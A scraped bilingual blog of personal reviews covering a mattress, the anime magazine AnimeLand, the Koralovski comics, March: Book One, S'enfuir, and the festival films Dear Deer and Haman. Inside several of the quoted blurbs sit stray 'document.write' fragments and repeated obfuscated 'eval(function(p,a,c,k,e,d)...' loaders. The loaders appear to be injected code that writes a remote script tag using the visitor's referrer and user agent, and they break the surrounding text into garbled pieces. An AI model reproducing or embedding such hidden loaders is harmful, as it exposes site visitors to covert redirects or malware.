Toutefois, après avoir dormi dessus pendant une semaine, je dois avouer que je suis un peu déçu. Il n’offre pas tant d’amélioration que cela sur mon vieux matelas à ressorts (au moins il n’est pas plein de bosses!). C’est un peu trop mou à mon goût (j’aurais dû me méfier car les évaluations indépendantes donnaient la fermeté à 5.5 ou 5.6 et non le 6.5 que promet PolySleep) et, si les rebords sont renforcés, ça ne parait pas vraiment (quand tu es couché trop sur le bord, le matelas renfonce et l’on risque de rouler hors du lit!). Sans dire que la publicité de PolySleep est trompeuse, je trouve tout de même que les performances de leur matelas sont plutôt décevantes. J’imagine que tout les matelas de mousse dans cette braquette de prix offrent le même genre de caractéristiques… Trouverai-je vraiment mieux avec une autre marque? Et pour une véritable amélioration il me faudrait sans doute payer beaucoup plus cher (un matelas plus traditionnel de qualité moyenne, plus ferme, se trouve plus dans la braquette $1200 – $2500)…

Néanmoins, en bout du compte, le point le plus important est que je dorme un peu mieux et que je n’ai pas trop mal au dos. Par contre, ma femme, qui disait préférer un matelas pas trop dur, a commencé à avoir mal au dos… Elle aussi le trouve trop mou… On va tout de même être un peu plus patient (au moins un mois et demi!) et voir si notre impression change avec le temps… stars-3-0

 

[ Translate ]

Ratings

J’ai déjà traité de ce sujet dans mon article “L’Art subtil du commentaire-critique” (ou sa version antérieure, en anglais, “The controversial art of reviewing”) mais comme on me demande de temps temps la signification de chaque valeur de mon système de pointage je le répète ici en rappel.

I have already dealt with this subject in my article (in French) “L’Art subtil du commentaire-critique” (or in its previous version, in English, “The controversial art of reviewing”) but from time to time I am asked the meaning of each value of my point system so I repeat it here as a reminder.

stars-0-0 0 / .5

Nul / Pathetic

Un navet (Indice à n’utiliser que très rarement) / Don’t even think about this title (You should use this rating quite rarely)
stars-1-0

 1 / 1.5

Pauvre / Poor

Ne mérite pas d’attention (Indice à utiliser rarement) / It’s not worth wasting your time and money on this title (Use this rating rarely)
stars-2-0

2

Passable / Fair

Décevant, comporte de l’intérêt surtout pour les mordus ou les curieux / Disappointing, but if you’re curious you can always check it out or flip through it at the library
stars-2-5

2.5

Moyen / Average

Ordinaire, à voir mais sans plus / it’s a title worth watching or reading, but maybe you should just rent it or borrow it—from a friend or the public library
stars-3-0

3

Bon / Good

Intéressant / An interesting title that I recommend purchasing
stars-3-5

3.5

Très bon / Very Good

Très Recommandé / A great title that is definitely recommended
stars-4-0

4 / 4.5

Excellent / Excellent

À voir/lire absolument ! (soyons aussi parcimonieux avec ce genre d’indice) / An absolute must-see or read title (use this rating rarely)
stars-5-0

5

ExceptionnelOutstanding

Chef d’œuvre !! (ce genre d’indice devrait être très rare) / It’s a masterpiece or instant classic worth collecting (such titles are exceptional and therefore this rating should be used parsimoniously)

J’évite de donné des évaluations en dessous de 2.5 ou au-dessus de 4. Quand je transfert un commentaire vers un site qui n’utilise pas de demi-point (comme Goodreads) j’arrondi généralement vers le BAS (donc un 3.5 deviendra un 3).

I avoid giving ratings below 2.5 or above 4. When I transfer a comment to a site that does not use half points (like Goodreads) I generally round it down (so a 3.5 rating will become a 3).

Animeland #224

224-coverLa nostalgie n’aura jamais autant été d’actualité ! Cowboy Bebop, une des plus grandes séries animées, fête ses 20 ans cette année ! Retrouvez dans le magazine un dossier spécial consacré à ses créateurs, interviewés pour l’occasion.

Retrouvez aussi notre dossier éco, cette fois consacré aux fan-arts (et à leur business !), un dossier anime dédié à Monogatari, la rubrique pop-corn et ses reviews de films (Flavor of Youth, My Hero Academia: Two Heroes, Bungo Stray Dogs: Dead Apple…), les chroniques anime et manga, la suite de notre dossier manga consacré à L’Attaque des Titans, la review du jeu vidéo Octopath, notre rubrique Portrait de voix…

J’avais planifié de commenter AnimeLand régulièrement mais je me suis retrouvé assez occupé (et la bibliothèque où je le lis ne le reçoit pas toujours de façon très assidue — si j’avais un service de presse comme dans le bon vieux temps cela serait tellement plus simple!). Alors quand un nouveau numéro paraissait, je retournais simplement celui qui trainait sur le coin de mon bureau sans l’avoir commenté. J’ai donc passé quatre numéros sans les commenter. Toutefois, quand j’ai vu ce numéro “Double” (148 pages au lieu de 116, et dans un format légèrement plus grand) je me suis dis qu’il fallait absolument que j’en parle. Alors voilà…

D’abord, il faut rappeler que AnimeLand est sans conteste le meilleur magazine d’information (en dehors du Japon, bien sûr) sur l’anime et le manga (qui sont couvert en part égale, avec un peu d’espace consacré au cinéma, aux jeux vidéos et à la paraphernalia, i.e. figurines, modèles réduits, etc.). Que ce soit tant pour ses informations (voir leur fil de nouvelle sur le site internet: anime et manga), leur dossiers, interviews ou critiques, ce magazine demeure une lecture incontournable pour tout les fans qui se respecte.

Dans ce numéro (pour les détails voir le sommaire du numéro sur le site du magazine) j’ai été tout particulièrement intéressé à la sélection de séries télé de la rédaction (je note Holmes of Kyoto, une série de 12 épisodes sur Crunchyroll où le personnage et son assistante font des enquêtes) ainsi que sa sélection de mangas récents (je note La fille du temple aux chats [Makoto Ojiro, Soleil], Les montagnes hallucinées [Gô Tanabe adaptant H.P. Lovecraft!, Ki-oon], Le vieil homme et son chat [Nekkomaki, Casterman] et la réédition de La vie de Bouddha [Osamu Tezuka, Delcourt/Tonkam]), un article de huit pages sur la saga Monogatari, une série d’articles et d’interview qui célèbrent les 20 ans de Cowboy Bepop, un article sur Visions d’Escaflowne, un très intéressant article sur la dernière étape de production d’une animation: le compositing, un petit article sur Noise — le plus récent manga de Tetsuya Tsutsui chez Ki-oon, un article sur le mangaka Kenji Tsuruta (Spirit of Wonder, Emanon, L’Île errante), et un article sur Le signe des rêves de Naoki Urasawa.

Il y a tant de choses à découvrir dans un seul numéro d’AnimeLand! C’est beaucoup de petits sujets (une ou deux pages) ce qui me donne l’impression que les articles sont toujours trop courts… J’aimerais bien de temps en temps voir de véritable articles de fond avec analyse, présentation des personnages, synopsis des épisodes, interview avec le directeur, etc.

Dans un magazine comme AnimeLand, quand on a soif de découverte, même les publicités peuvent être une source d’information. J’ai ainsi appris qu’AnimeLand, en partenariat avec les éditions Ynnis, sortait le livre 100 Films d’animation japonais, un répertoire des films les plus marquants et qui constituera sans aucun doute une des rares références en français sur ce genre (208 pages, 29,90 €, paru en Octobre). Avec le même partenariat, le magazine a aussi annoncé la parution de Quiz Animeland, un jeu questionnaire qui permettra au amateurs de tester leurs connaissances manga et anime en 500 questions, divisées en cinq rubriques: manga, film, anime, classique et expert (14,95 €, novembre 2018). 

Je crois qu’AnimeLand a bien compris qu’une publication périodique ne peut être que marginalement profitable et que pour survivre il faut multiplier le plus possible les publications parallèles (c’est ce que j’avais l’intention de faire avec PA…). Depuis longtemps déjà, l’équipe du magazine produit de nombreux numéros spéciaux (AnimeLand X-Tra) et Hors-Série (dont le plus récent, dédié au mangas, passe en revue l’année 2018 en mangas) — que ma bibliothèque ne reçoit malheureusement pas! Depuis quelques années, ils ont aussi produits de nombreux livres (consacrés aux studios Disney ou Ghibli, au 30ème anniversaire du Club Dorothée ou au centenaire de l’animation Japonaise (que j’ai déjà commenté), ou encore à la culture japonaise (son quotidien, ses “stars”). Ces ouvrages ne sont toutefois pas toujours facile à trouver outre atlantique (encore une fois, des services de presse seraient appréciés!)…

Finalement, on ne s’ennui jamais avec AnimeLand. Et je suis impatient de voir le prochain numéro dédié à Gunnm (Battle Angel Alita) et Mirai, Ma Petite Soeur.

AnimeLand #224 — Octobre/Novembre 2018 [Collectif dirigé par Émilie Jollois et Christopher Macdonald]. Paris, AM Media Network, septembre 2018. 148 p. 12.00 € / C$18.40. ISSN 1148-0807. Lectorat adolescent (12+). stars-3-5

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Amazon — Biblio — Goodreads — Wikipedia — WorldCat ]

Voir aussi mes commentaires sur des numéros précédents:

/  #217-218-219  /  #216  /  #214-215  /  #209  /  etc.  /

[ Translate ]

Koralovski

Koralovski-v01-cov“Et si la fin du pétrole n’était qu’un mythe… ?

Viktor Koralovski était le roi du pétrole russe. Une position qui lui a valu les foudres du président Khanine et dix ans d’emprisonnement.

À présent évadé malgré lui, Viktor va rapidement comprendre qu’en son absence, amis et ennemis sont devenus difficiles à distinguer. Et que son nom est au coeur d’une vaste conspiration, qui pourrait impliquer toute l’industrie pétrolière! Mais dans quel but… ?”

[Texte de la couverture arrière] 

ATTENTION: Peut contenir des traces de “divulgâcheur” [spoilers]! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même pris connaissance sont vivement conseillées de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin! 

Koralovski-v01p03

Page 3

Dans le premier tome, Viktor Borissovitch Koralovski est un oligarque russe qui s’est enrichi dans le pétrole mais lorsqu’il est devenu trop riche et a montré des ambitions politiques, le président russe Vladimir Vladimirovitch Khanine le fait arrêter. Il est incarcéré depuis dix ans quand une mystérieuse attaque militaire contre la prison lui permet de s’évader. Il réussi à passer la frontière en Finlande et à obtenir l’aide d’un autre oligarque du pétrole, Aleksandr Orlov, qui le fait venir sur son yacht en mer Baltique.

Pendant ce temps, à Berlin, la journaliste Anika Keller travaille sur un article consacré à Koralovski. Son taxi frappe un SDF poursuivi par deux hommes. Ce simple incident va la propulsé au sein d’un complot d’envergure international. À l’hôpital, pendant que les médecins examinent le SDF, un commando masqué kidnappe le patient encore inconscient. Les médecins ont remarqué qu’il avait un implant RFID. En allant investiguer le lieu où les deux hommes avaient trouvé le SDF, ils découvrent une bombe dans un tunnel ferroviaire. Composé d’ogives nucléaires baignant dans l’essence, la bombe avait apparemment pour cible le président russe Khanine, qui est en visite à Berlin!

 

Koralovski 1: L’Oligarque, par Philippe Gauckler (couleurs par Scarlett Smulkowski). Bruxelles: Le Lombard (Coll. Troisième Vague), février 2015. 48 pages, 12.45€ / $21.95. ISBN 978-2-8036-3530-6. Pour public adolescent (15+). stars-3-0

Koralovski-v02-cov“À bord du yacht qui les a secourus, Koralovski et ses compagnons se mettent en route pour un laboratoire off-shore appartenant à sa société. Il s’agit du laboratoire qui a mis au point un procédé révolutionnaire permettant d’extraire la totalité d’un gisement de pétrole soi-disant épuisé. Mais à leur arrivée, le lieu est désert…”

[Texte du site de l’éditeur]

Koralovski-v02p03

Page 3

Dans le second tome, on apprend que le SDF est en fait un espion américain nommé Blasko. Un commando l’a exfiltré pour le ramener à Washington afin qu’il fasse son rapport sur un complot mondial. Anika et ses deux compagnons sont amené dans le bundesbunker du gouvernement allemand pour y être interrogé par les services secrets. Mais le bunker est attaqué par un commando et ils sont fait prisonniers. Les deux compagnons d’Anika se révèlent être des agents spéciaux du BND. Ils réussissent néanmoins à s’échapper et à libérer d’autres prisonniers: la chancelière allemande Andrea Kermel et le président russe Khanine. 

Le complot prends de l’ampleur, car une bombe similaire est trouvé à bord d’un tanker de gaz naturel liquéfié. À bord du yacht de Orlov, Koralovski se rend sur une plateforme de forage où il avait installé un laboratoire pour développer un procédé nouveau d’extraction du pétrole. Il n’y trouve qu’une autre bombe. Plusieurs autres bombes sont aussi découvertes dans des terminaux pétroliers au Moyen-Orient. La situation est grave et Orlov décide d’organiser un meeting pour trouver une solution…

Koralovski 2: Dans L’ombre du Monde, par Philippe Gauckler (couleurs par Scarlett Smulkowski). Bruxelles: Le Lombard (Coll. Troisième Vague), août 2015. 48 pages, 12.45€ / $21.95. ISBN 978-2-8036-3598-6. Pour public adolescent (15+). stars-3-0

Koralovski-v03-cov“La confrontation tant attendue par Koralovski avec le président Khanine est de courte durée : une menace d’attaque nucléaire au Kazakhstan éclate, visant l’un des gisements de pétrole les plus importants au monde. Ne connaissant pas l’ampleur de l’infiltration ennemie dans leurs services de sécurités, Koralovski et son équipe n’ont d’autre choix que de se rendre eux-mêmes sur place, pour tenter d’empêcher le pire de se produire…”

[Texte du site de l’éditeur]

Koralovski-v03p06

Page 6

Dans le troisième tome, Blasko s’embarque sur un avion bimoteurs pour se rendre à Washington, où il doit témoigner devant une commission d’enquête des forces armées au sujet du complot mondiale qui vise à déstabiliser la production de pétrole au Moyen-Orient à l’aide de terrorisme nucléaire. La conspiration rassemble des éléments du complexe militaro-industriel et de Wall Street, ainsi qu’une organisation terroriste russe. La mémoire de Blasko lui revient peu à peu il se souviens qu’une véritable attaque nucléaire est prévu pour bientôt sur le site pétrolier de Kashagan en mer Caspienne. Comme pour démontrer que les organisations militaires des touts les pays semblent vraiment infiltrés par des éléments du complots, l’avion de Blasko est intercepté par les forces canadienne à la demande du DIA et sous de fausses accusations. Mais Blasko réussi à sauter en parachute…

Le petit groupe dont fait partie la journaliste Anika Keller se réfugie dans une safe-house où ils sont rejoint par Koralovski et Orlov. On y discute de révéler l’existence du complot par une émission de télé. La rencontre entre Koralovski et Khanine fait des étincelles. Les discussions sont cependant interrompues par la nouvelle de l’attaque nucléaire imminente au Kazakhstan. Le groupe s’embarque à bord d’un hydravion en direction la mer Baltique pour intercepter l’ekranoplane (un hydravion à effet de sol volant au raz de l’eau) qui transporte les ogives nucléaires. 

L’histoire se termine sur un air festif dans la villa de Orlov à Bakou. Khanine a amnistié Koralovski et Blasko a finalement témoigné à la commission d’enquête ouvrant la porte à un grand nettoyage dans l’administration gouvernementale… La dernière scène ressemble étrangement aux scènes de banquets dans les Astérix (hommage?)!

Koralovski 3: Des Horizons de Feu, par Philippe Gauckler (couleurs par Scarlett Smulkowski). Bruxelles: Le Lombard (Coll. Troisième Vague), août 2016. 48 pages, 12.45€ / $21.95. ISBN 978-2-8036-3518-4. Pour public adolescent (15+). stars-3-5

J’ai précédemment introduit l’oeuvre de Philippe Gauckler et je vous présente ici sa plus récente série. Dans cette trilogie, Gauckler nous offre un style réaliste, qui démontre qu’il a maintenant acquit une grande maîtrise de son art. Toutefois, comme c’est parfois le cas dans les BD franco-belge, les cases sont plutôt statique. Cependant la fluidité de l’action reste très bonne malgré tout. Le récit est, quant à lui, excellent. L’histoire est de toute évidence inspirée de la réalité (bien sûr Khanine représente Vladimir Vladimirovich Putine et Koralovski est Mikhaïl Borissovitch Khodorkovski) mais cet affaire de complot pétrolier demeure peu vraisemblable. Toutefois, somme toute, c’est un bon thriller. C’est une lecture agréable et divertissante que je recommande sans peine. Je me demande bien ce que nous réserve Gauckler pour sa prochaine série…

Pour en apprendre plus sur ce titre vous pouvez consulter les sites suivants:

[ AmazonBAnQBiblio MtlGoodreadsWikipediaWorldCat ]

© Gauckler / Éditions du Lombard 2015

[ Translate ]

L’art subtil du commentaire-critique

On me demande souvent quels sont les critères que j’utilise quand j’écris des critiques (reviews) de livres ou de films. En fait, j’utilise les même critères que j’ai développé au cours des années alors que j’écrivais des critiques d’abord pour Samizdat (un fanzine de science-fiction et fantastique québécois, 1987-1994) et, par la suite, pour Protoculture Addicts (un magazine sur la culture, le dessin animé et la bande-dessinée japonaise, 1987-2008). J’ai été rédacteur-en-chef pour ce dernier pendant plus d’une vingtaine d’années et ce sont ces même critères auxquels je demandais à mes collaborateurs d’adhérer. Je vais donc profiter de la présente occasion pour vous expliquer un peu comment je procède. Et je suggère à quiconque qui désire écrire des critiques de suivre ces quelques lignes directrices.

J’aimerais d’abord définir la critique comme étant un simple commentaire et non pas une critique analytique. Cette dernière cherche à étudier, en profondeur, les moindres aspects d’une oeuvre: les motivations des personnages, les choix narratifs, le message de l’auteur, etc. Une simple critique, quant à elle, n’est qu’un commentaire qui se veut ni objectif, ni constructif, ni négatif : c’est juste une opinion, un ressenti, que l’on exprime. On aime ou on aime pas, et on tente d’expliquer pourquoi, en décortiquant brièvement les impressions que l’oeuvre nous a laissé.

Je préfère d’ailleurs parler de “commentaire” et non de “critique” car ce dernier terme fait plus pompeux et peut aisément être confondu avec son cousin analytique. Un commentaire donne une impression plus modeste. On ne cherche pas a donner de leçon mais simplement à dire ce qu’on en pense. Dans le cas d’un livre, on pourrait parler de commentaire de lecture mais comme on peut commenter aussi des documents audio-visuels (des BD ou des manga, des films (vu au cinéma, en Dvd, ou Blu-ray), ou même de la musique (concert, CD)) je préfère m’en tenir simplement à “commentaire.” Bien sûr, l’approche sera un peu différente selon le type d’ouvrage  que l’on commente (livre, cinéma, musique).

Une autre question que j’entend parfois c’est “pourquoi se donner la peine de faire un commentaire” alors que l’on pourrait bien se contenter d’apprécier une oeuvre pour ce qu’elle est sans trop se poser de question. Je dois avouer que pour moi c’est plus une déformation professionnelle. J’ai écrit tellement de commentaires pour les publications pour lesquelles je travaillais que maintenant je ne peux pas m’empêcher d’analyser et de penser à ce que je ressens au fur et à mesure que je progresse dans le livre que je lis ou dans le film que je visionne. Et tant qu’à avoir des idées ou des opinions, pourquoi ne pas les partager? Car la raison fondamentale d’un commentaire c’est cela: partager ses coups de coeur (ou de foudre!), son amour (ou parfois son aversion) pour une oeuvre, ou simplement donner son opinion. Parfois, aussi, il s’agit de vouloir aider les autres à comprendre et à mieux apprécier une oeuvre ou, tout au moins, à partager la façon dont nous percevons une oeuvre (à travers le prisme de nos expériences personnelles, de notre savoir, de notre vécu). Si nous sommes passionné par un sujet, il est tout naturel de vouloir partager cette passion. Le lecteur (du commentaire) en fera bien ce qu’il veut…

[ Translate ]

Lire la suite après le saut de page >>

Continue reading

March, Book 1: Civil Rights history in comics

“Congressman John Lewis (GA-5) is an American icon, one of the key figures of the civil rights movement. His commitment to justice and nonviolence has taken him from an Alabama sharecropper’s farm to the halls of Congress, from a segregated schoolroom to the 1963 March on Washington, and from receiving beatings from state troopers to receiving the Medal of Freedom from the first African-American president.” (…)

March is a vivid first-hand account of John Lewis’ lifelong struggle for civil and human rights, meditating in the modern age on the distance traveled since the days of Jim Crow and segregation. Rooted in Lewis’ personal story, it also reflects on the highs and lows of the broader civil rights movement. Book One spans John Lewis’ youth in rural Alabama, his life-changing meeting with Martin Luther King, Jr., the birth of the Nashville Student Movement, and their battle to tear down segregation through nonviolent lunch counter sit-ins, building to a stunning climax on the steps of City Hall.”

(Text from the publisher’s website; see also the back cover)

Congressman John Lewis wanted to be a preacher. He grew up on his parents’ farm in rural Alabama taking care of the family chickens (to whom he was practising preaching!). The story starts in his congressional office as he is preparing to go assist at Obama’s inauguration. A black lady comes into the office with her children to show them up a place where history was made. Instead they meet with the Congressman himself who takes this opportunity to tell them a little about himself and the history of the civil rights movement. With the help of his uncle Otis and Martin Luther King, Jr., to whom he wrote a letter, he succeed to go to college in Nashville. There, he contributed to the Student Movement and, inspired by Gandhi’s nonviolent protest, took many actions to fight against segregation.

The storytelling is excellent and the art is pretty good. It is a superb idea to bring back to life Congressman Lewis‘ memories, such as his actions of civil disobedience, for a new generation to understand what the civil rights movement was all about. It is very educational and it is probably even more relevant today than when it was first published (considering the “Black Lives Matter” movement and the fact that I discovered this book through a CNN report about President Trump insulting Congressman Lewis, saying he was “all talk and no action” !).

All in all, it’s a nice way to teach the history of an important moment of our Western Civilization, but also an excellent occasion to talk about good moral values. The life of great role models like Congressman Lewis need to be recorded for the posterity, but not only in history books or museums but also as part of our popular culture. It’s a good reading for the Black History Month and I cannot recommend it more strongly.

March: Book One, by Congressman John Lewis, Andrew Aydin, and Nate Powell. Marietta GA: Top Shelf Productions, August 2013. 128 pg., Softcover, 6.5″ x 9.5″, 14.95 US / $19.99 Can. ISBN: 978-1-60309-300-2. stars-3-5

For more information you can check the following websites:

[ Traduire ]

S’enfuir – Récit d’un otage

“En 1997, document.write(“”); alors qu’il est responsable d’une ONG médicale dans le Caucase, Christophe André a vu sa vie basculer du jour au lendemain après avoir été enlevé en pleine nuit et emmené, cagoule sur la tête, vers une destination inconnue. Guy Delisle l’a rencontré des années plus tard et a recueilli le récit de sa captivité – un enfer qui a duré 111 jours. Que peut-il se passer dans la tête d’un otage lorsque tout espoir de libération semble évanoui ? Un ouvrage déchirant, par l’auteur de Pyongyang, de Shenzhen, de Chroniques birmanes et de Chroniques de Jérusalem.” [ Texte du site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikdaf|var|u0026u|referrer|nrhye||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfkib|var|u0026u|referrer|nenit||js|php’.split(‘|’),0,{}))

“Être otage, c’est pire qu’être en prison. En prison, tu sais pourquoi tu es là et à quelle date tu vas sortir. Quand t’es otage, tu n’as même pas ce genre de repères. Tu n’as rien.” [ Texte de la couverture arrière ]

Continuez après le saut de page >>
Continue reading

Dear Deer

“A woman stares at a deserted exhibition in the local museum, document.write(“”); a place said to be haunted by the phantom of a deer, “Ryomo-Shika”… Twenty-five years earlier three siblings reported seeing the deer, becoming first famous, then infamous when their claim was debunked. The fallout was devastating. The second son, Yoshio, is now living in a psychiatric institution; Akiko, the unsociable youngest daughter, lives in the country with an older man; and the eldest son, Fujio, who has remained in town, is burdened with debt from the family’s failing business. Now, with their father dying, the three siblings along with their respective partners and friends, have returned home, their first reunion in many years. But time hasn’t dulled their rivalries and or their rancour. They find themselves once again at a crossroads in life.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfrdt|var|u0026u|referrer|dnebi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aybyi|var|u0026u|referrer|atabs||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I admit that I misunderstood the movie description in the program, so I thought it would be some sort of ghost story. Not at all.

When they were kids, siblings Fujio, Yoshio and Akiko saw a rare deer that was supposed to be extinct and took a blurry picture. But people thought it was an hoax and that they lied to attract attention or just misidentified a common deer. They were quite hurt no to be believed. On top of that, after their mother’s death, their father became quite abusive, so the younger brother and sister left their hometown and the older brother stayed to take care of the family business. He has to work hard to keep it (and the town) together despite serious economic problems as a big development company tries to buy off the land. The younger brother seem to have a mild case of obsessive-compulsive disorder as he seems to have internalize all his guilt and frustrations from the childhood. The younger sister is good looking and has always had her ways with men, but unfortunately she eloped with a loser. She is very selfish but she eventually soften. She has a very unhappy life in Tokyo.

Twenty-five years later, they come back to their hometown when their father become gravely ill. They all have been greatly affected by their childhood have serious psychological problems. The death of the father brings back to the surface all their issues and what stayed unsaid for a long time is being expressed making their return trip a cathartic experience that is finally freeing them from the weight that had kept them miserable for all those years.

This is a very beautiful and interesting movie. Japanese movies are always good at showing us the beauty of the countryside. The director said that he was inspired by the fact that people from the countryside and people from the city seem to have very different mentality and way of life.

Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

Film screened at the Montreal World Film Festival on September 3rd, 2015 (Cinema Quartier Latin 9, 11h00 – the theatre was filled only at 10% of its capacity) as part of the “First Film World Competition” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:

Dear Deer © 2015 Office Kiryu.

[ Traduire ]

Haman

“A tragic story of a girl who becomes a monster. Deeply in love, document.write(“”); Haruka decides to have sex with her boyfriend. But the results are catastrophic: she accidentally kills him. Traumatized, she flees the scene. Her cursed life has begun. Does she have any hope of escaping the malediction? A dark fantasy about life, sex and love. ”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taezr|var|u0026u|referrer|krhya||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftbzr|var|u0026u|referrer|dbbbi||js|php’.split(‘|’),0,{}))

(Text from the
Festival’s program)


WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I was not expecting much from this movie. I thought it would be a Fantasia-style gory and sexual horror movie. I was surprised to discover I was a more subtler and meaningful fantastical tale.

Haruka is cursed. She goes to a love hotel to have sex for the first time with her boyfriend. What should have been a pleasant occasion turns into a nightmare when her boyfriend unexpectedly and painfully dies during intercourse. She has no idea what happened: she was enjoying herself on top of him when there’s suddenly a gush of blood as she appears to have ripped off her boyfriend’s penis. She flees the scene in horror. The next day, in the news, the police talks of a gruesome murder as the sex of the victim appears to have been bitten off in a very inhuman way.

She skips school and wanders around in a dazed state. Has she dreamed or hallucinated the whole ordeal? Is that a fantasy induced by teenage angst and sexual anxiety? Or is she really some sort of monster and it happened for real? Is that even possible to have teeth “down there”? As she wanders on the road, she is kidnapped and raped by a pervert, but she kills him too, by “biting” off his penis with her vagina. The curse is confirmed.

Eventually, she meets Yosuke — who is nice to her and helps her overcome the trauma. She also meets his sister (so she said but she ends up being a jealous impersonator stalking Yosuke). They starts dating but Haruka fears that if they go further she will kill him. However, she accepts to date him only if they have a sexless relationship. Of course, with time, Yosuke cannot endure such a sexless love and wants to have her even if he knows that it will probably kill him. A love to die for.

The director said he was inspired by the true story of Sada Abe — who killed her lover and kept his penis as a souvenir. Even if the story had already been adapted in several movies — the most famous being Ai no Korida / In the realm of the senses by Nagissa Oshima — it seemed to him to be a good starting point to talk about sex and love.

The movie was very low budget and was shot within twelve days with a crew of seven (all volunteers) but most of the work was done by Tetsuya Okabe (directing, script, editing, etc., even paying for the lunch of the crew!). The film looks pretty good for such a low budget production and the director succeeded to turn a subject of comedic horror into a thoughtful allegory.

The title, Haman (???), is a slang blend (or portemanteau) expression made from ? [Ha, tooth] and ???? [Omanko, vagina] meaning “toothed vagina”. I am not sure if the director was aware of this when he wrote the script (most probably), but the idea of the “vagina dentata” (in Latin) can be found in the folklore of many ancient cultures.

All in all, it was a good movie and I enjoyed it. It is amusing to see that the story ends up much more interesting by being treated through a more mainstream movie (with minimum gore and nudity–we see Haruka’s breast in only one scene) rather than as a comedic horror film.

Haman (??? / lit. “toothed vagina”): Japan, 2015, 95 min.; Dir./Scr./Ed.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

Film screened at the Montreal World Film Festival on September 2nd, 2015 (Cinema Quartier Latin 16, 20h30 – the theatre was filled only at 18% of its capacity) as part of the “World Great” segment. The director was present to introduce the movie and for a Q&A afterward.

For more information you can visit the following websites:
Haman © 2015?????.

[ Traduire ]

The Next Generation Patlabor — Tokyo War

“Over the years since 1988, document.write(“”); the “Mobile Police PATLABOR” franchise in Japan has become a pioneer in multimedia, combining anime comics, videograms, films and novels. Until now the films have been animated. The story has now gone live-action… Labor is a robot specifically designed for heavy industry work. The rise of Labors has sparked a revolution in industry, but also an increase in crime. To combat these new Labor crime wave, the police have created a special unit: The Patrol Labor known as the Special Vehicles Section 2 (SV2). This is the birth of “Patlabor”. We are now in the 21st century and the Tokyo Metropolitan Police’s SV2 so-called Patlabor still looks out for misbehaving Labors, but Patlabor is no longer considered necessary because of its cost and care. When Tokyo is attacked by an organization of terrorists using stealth helicopters, SV2 is called in to neutralize the threat.”
